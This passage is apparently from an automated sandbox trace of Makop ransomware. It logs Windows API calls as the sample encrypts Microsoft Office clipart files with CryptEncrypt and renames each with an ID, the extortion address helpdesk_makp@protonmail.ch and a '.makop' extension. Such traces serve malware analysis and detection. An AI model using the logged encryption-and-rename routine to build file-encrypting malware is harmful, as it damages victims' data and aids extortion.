hFile=0xf0, liDistanceToMove=0xbb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.859] SetEndOfFile (hFile=0xf0) returned 1 [0107.868] GetProcessHeap () returned 0x48a0000 [0107.868] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.868] GetProcessHeap () returned 0x48a0000 [0107.868] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.868] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.872] CloseHandle (hObject=0xf0) returned 1 [0107.872] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0107.872] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0107.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.872] GetProcessHeap () returned 0x48a0000 [0107.873] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.873] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.873] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.873] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.877] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.878] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.878] GetProcessHeap () returned 0x48a0000 [0107.878] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.878] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.878] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.878] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.878] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.878] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.879] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.879] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.879] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.879] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.879] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.880] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x38cc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x38cc, lpOverlapped=0x0) returned 1 [0107.881] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x38d0, dwBufLen=0x38d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x38d0) returned 1 [0107.882] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.882] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x38d0, lpOverlapped=0x0) returned 1 [0107.882] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.882] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x39a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.882] SetEndOfFile (hFile=0xf0) returned 1 [0107.890] GetProcessHeap () returned 0x48a0000 [0107.890] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.890] GetProcessHeap () returned 0x48a0000 [0107.890] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.890] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.892] CloseHandle (hObject=0xf0) returned 1 [0107.892] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0107.892] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0107.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.894] GetProcessHeap () returned 0x48a0000 [0107.894] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.895] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0107.899] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.900] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.900] GetProcessHeap () returned 0x48a0000 [0107.900] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.900] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.900] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.900] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.900] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.900] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.900] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.901] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.901] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.901] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.901] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.901] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.901] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x504a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x504a, lpOverlapped=0x0) returned 1 [0107.904] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5050, dwBufLen=0x5050 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5050) returned 1 [0107.904] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.904] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5050, lpOverlapped=0x0) returned 1 [0107.904] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.904] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.905] SetEndOfFile (hFile=0xf0) returned 1 [0107.912] GetProcessHeap () returned 0x48a0000 [0107.912] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.912] GetProcessHeap () returned 0x48a0000 [0107.912] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.912] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.913] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.914] CloseHandle (hObject=0xf0) returned 1 [0107.914] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0107.914] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0107.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.915] GetProcessHeap () returned 0x48a0000 [0107.915] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.915] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.915] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0107.920] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.920] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.920] GetProcessHeap () returned 0x48a0000 [0107.920] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.920] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.920] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.920] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.920] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.920] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.921] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.921] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.921] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.921] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.921] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.921] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.922] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f1e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f1e, lpOverlapped=0x0) returned 1 [0107.923] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f20, dwBufLen=0x1f20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f20) returned 1 [0107.923] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.923] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f20, lpOverlapped=0x0) returned 1 [0107.924] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.924] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ff4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.924] SetEndOfFile (hFile=0xf0) returned 1 [0107.931] GetProcessHeap () returned 0x48a0000 [0107.931] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.931] GetProcessHeap () returned 0x48a0000 [0107.931] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.931] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.931] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.933] CloseHandle (hObject=0xf0) returned 1 [0107.933] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c365a00, ftCreationTime.dwHighDateTime=0x1bd4f6a, ftLastAccessTime.dwLowDateTime=0x5f47ba90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c365a00, ftLastWriteTime.dwHighDateTime=0x1bd4f6a, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0107.933] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0107.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.934] GetProcessHeap () returned 0x48a0000 [0107.934] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.934] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.934] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.934] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0107.940] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.940] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.940] GetProcessHeap () returned 0x48a0000 [0107.940] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.940] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.940] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.940] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.940] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.941] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.941] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.941] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.941] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.941] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.942] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.942] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x34cb, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, 